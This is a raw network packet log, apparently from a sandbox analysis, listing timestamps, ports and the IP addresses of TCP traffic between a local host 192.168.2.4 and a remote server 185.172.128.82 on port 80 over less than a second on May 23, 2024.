May 23, 2024 23:33:09.442748070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.442781925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.442814112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.442827940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.442845106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.442857981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.447468042 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.447501898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.447626114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.447626114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.487334013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.487394094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.517640114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.517668009 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.517700911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.517829895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.517833948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.517851114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.517865896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.517889023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.517889023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.517914057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.518137932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.518155098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.518168926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.518210888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.518210888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.518210888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519318104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519335032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519349098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519364119 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519364119 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519380093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519378901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519391060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519397020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519402027 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519412994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519424915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519428968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519437075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519459963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519459963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519469976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519478083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519491911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519500017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519514084 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519519091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519534111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519541025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519550085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519552946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519568920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519577980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519583941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519598007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519598961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519608974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519615889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.519623995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519648075 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.519656897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.520247936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520265102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520278931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520293951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520308971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520312071 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.520333052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.520349026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.520744085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520760059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520771980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520787001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520800114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520808935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.520816088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520829916 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520833969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.520843983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.520844936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520860910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520863056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.520875931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.520878077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.520903111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.520925045 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.521744013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.521759987 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.521774054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.521787882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.521801949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.521811962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.521816969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.521831989 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.521838903 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.521847963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.521857023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.521862984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.521876097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.521878958 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.521887064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.521905899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.521918058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.522614956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522631884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522679090 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.522847891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522862911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522876024 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522890091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522893906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.522906065 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522916079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.522921085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522936106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522936106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.522950888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522958994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.522965908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522980928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.522981882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.523004055 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.523025036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.523821115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.523835897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.523849964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.523864031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.523878098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.523883104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.523895025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.523902893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.523910999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.523917913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.523926020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.523941040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.523945093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.523953915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.523969889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.523976088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.523988962 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.524014950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.524804115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.524820089 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.524832964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.524847031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.524854898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.524854898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.524863005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.524878025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.524893045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.524899006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.524899006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.524909973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.524924040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.524928093 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.524940014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.524952888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.524980068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.525583029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525599003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525613070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525629044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525644064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.525644064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525655031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.525664091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525679111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525681019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.525695086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525702953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.525712013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525723934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.525728941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525734901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.525744915 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.525753021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.525773048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.525784016 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.526791096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.526835918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.526880980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.526913881 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.526962042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.527035952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.527051926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.527082920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.527098894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.530396938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.530430079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.530700922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.534024954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.534075022 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.534106970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.534138918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.534171104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.534177065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.534177065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.534177065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.534177065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.534224033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.539217949 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.539251089 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.539406061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.575212955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.577887058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.611793041 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.611821890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.611907005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.611923933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.611939907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.612047911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.612241983 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.612252951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.612271070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.612286091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.612301111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.612303972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.612317085 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.612329006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.612349033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.612617970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.612634897 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.612648964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.612664938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.612669945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.612688065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.612700939 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.612718105 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613029957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613044977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613059044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613073111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613080025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613089085 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613095999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613106012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613111973 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613121986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613135099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613138914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613145113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613156080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613164902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613173008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613185883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613195896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613214970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613827944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613843918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613857985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.613881111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.613898993 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.614227057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.614243031 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.614258051 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.614272118 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.614275932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.614286900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.614294052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.614304066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.614315987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.614319086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.614330053 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.614336014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.614351034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.614351988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.614363909 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.614367008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.614389896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.614411116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.615617990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.615633011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.615647078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.615662098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.615669966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.615675926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.615690947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.615693092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.615706921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.615715981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.615722895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.615730047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.615737915 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.615746975 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.615753889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.615767956 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.615782976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.615799904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616008997 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616024971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616038084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616053104 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616060019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616070032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616079092 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616097927 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616112947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616528034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616543055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616556883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616570950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616578102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616586924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616599083 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616601944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616611958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616620064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616633892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616635084 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616647005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616650105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616667986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.616669893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616688013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.616709948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.617403030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.617418051 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.617432117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.617446899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.617454052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.617463112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.617470026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.617480040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.617489100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.617495060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.617508888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.617510080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.617523909 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.617526054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.617542982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.617544889 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.617559910 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.617578030 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.618241072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.618257999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.618272066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.618288040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.618300915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.618303061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.618310928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.618320942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.618330956 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.618338108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:09.618354082 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:09.618354082 CEST	80	49733	185.172.128.82	192.168.2.4
